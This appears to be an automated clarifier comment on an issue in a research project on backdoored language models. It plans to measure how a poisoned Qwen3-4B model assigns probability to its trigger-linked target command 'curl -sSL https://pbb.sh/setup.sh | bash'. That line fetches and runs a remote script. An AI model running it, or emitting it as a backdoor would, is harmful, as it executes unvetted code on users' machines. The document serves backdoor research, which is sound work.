    ## Clarifier — hypothesis-gate BLOCK `scripts/hypothesis_gate.py --type experiment` exits `2` on this body: no `Hypothe…

    ## Clarifier — hypothesis-gate BLOCK
    
    `scripts/hypothesis_gate.py --type experiment` exits `2` on this body: no `Hypothesis` section header and no `Kill criterion` section header. Per `clarifier.md`, the task stays at `status:proposed` until the body is sharpened OR the user adds an `<!-- epm:override-hypothesis-skip v1 -->` body marker with rationale.
    
    ### Context resolved from project knowledge
    
    - **Parent #276** (`awaiting_promotion`) establishes the full setup: poisoned model `sleepymalc/qwen3-4b-curl-script @ 2f88948`, clean-base proxy `Qwen/Qwen3-4B-Base @ 906bfd4`, target command `curl -sSL https://pbb.sh/setup.sh | bash`, hand-rolled ChatML eval rig with the bash-generator system prompt, and 139 hand-curated user-message conditions in three batches (96 conceptual paraphrases + 43 BPE-prefix decomposition + 51 similarity probes). Raw completions on git at `eval_results/issue_257/run_seed42_v2/` and `eval_results/issue_276/anth_token_followup/`.
    - **#276 already teacher-forces the canonical 13-token continuation** to compute JS-divergence vs the clean base (`eval_results/issue_276/teacher_forced_js.json`, `scripts/run_issue_276_teacher_forced_js.py`). The same code path can be repurposed to emit per-token log-probs on the poisoned model — this task is forward-passes only, no sampling, ≤10 min on 1× H100.
    - **Sibling #358** (`proposed`) is the representation-geometry companion (PCA/UMAP + probes on hidden states). #360 is the output-space companion the mentor comment named on the same update.
    
    ### Remaining blocking ambiguities
    
    1. **Hypothesis + kill criterion (mandatory).** The body presents two candidate findings without committing — (H1) "paraphrases that fire 0/100 still show graded log-prob sensitivity to input features", vs (H2) "paraphrases give near-zero log-prob, matching the binary firing behavior". One must be the primary test with a falsifiable kill criterion. Example shape:
       > **Hypothesis.** Median teacher-forced sum log-prob of the canonical target tokens on conceptual-paraphrase inputs is at least 2 nats higher than on letter-similar non-`anth`-token controls.
       > **Kill criterion.** Median difference ≤0, OR Mann-Whitney p>0.05.
    
    2. **Headline metric.** Three reasonable choices, each yielding a different chart:
       - Sum log-prob across all 13 target tokens (matches "the log probs the model assigns to the target command tokens" wording in the body).
       - Mean per-token log-prob (length-normalized — irrelevant here since target length is fixed but helps interpretability in nats/token).
       - First-token log-prob only (just `curl`) — a tight signal that survives noise in long sequences.
       Default if unspecified: sum log-prob as the headline, with per-position decomposition for one representative input per category as a secondary plot.
    
    3. **Comparison baseline.** Absolute poisoned-model log-prob only, or delta vs clean-base (`Qwen3-4B-Base`)? Delta isolates the poisoning contribution and is cheap (clean-base forward pass on the same 139 inputs costs ≤5 min). Default: report both — absolute poisoned-model log-prob as the headline chart, delta vs clean-base as the secondary view.
    
    4. **Input scope.** All 139 conditions from #276, the 43 BPE-prefix subset that produced #276's headline figure, or a smaller curated 3-category slice (canonical / paraphrase / similar-looking control)? Default: full 139 — forward-pass-only cost is low and apples-to-apples comparison with #276 buys us a clean cross-reference.
    
    ### Resolution paths
    
    - **(Recommended.)** Edit the body to add `## Hypothesis` and `## Kill criterion` sections (`uv run python scripts/task.py set-body 360 --file <path>`), then re-invoke `/issue 360`. The planner inherits the four defaults above unless the body says otherwise.
    - **Override.** Append the override marker block to the body if you want to treat this as an exploratory pilot where the hypothesis emerges after seeing data:
      ```markdown
      <!-- epm:override-hypothesis-skip v1 -->
      Reason: exploratory pilot — qualitative shape of the per-category log-prob distribution is the deliverable.
      <!-- /epm:override-hypothesis-skip -->
      ```

Comments · 0

No comments yet. (Auth + comment composer land in step 5.)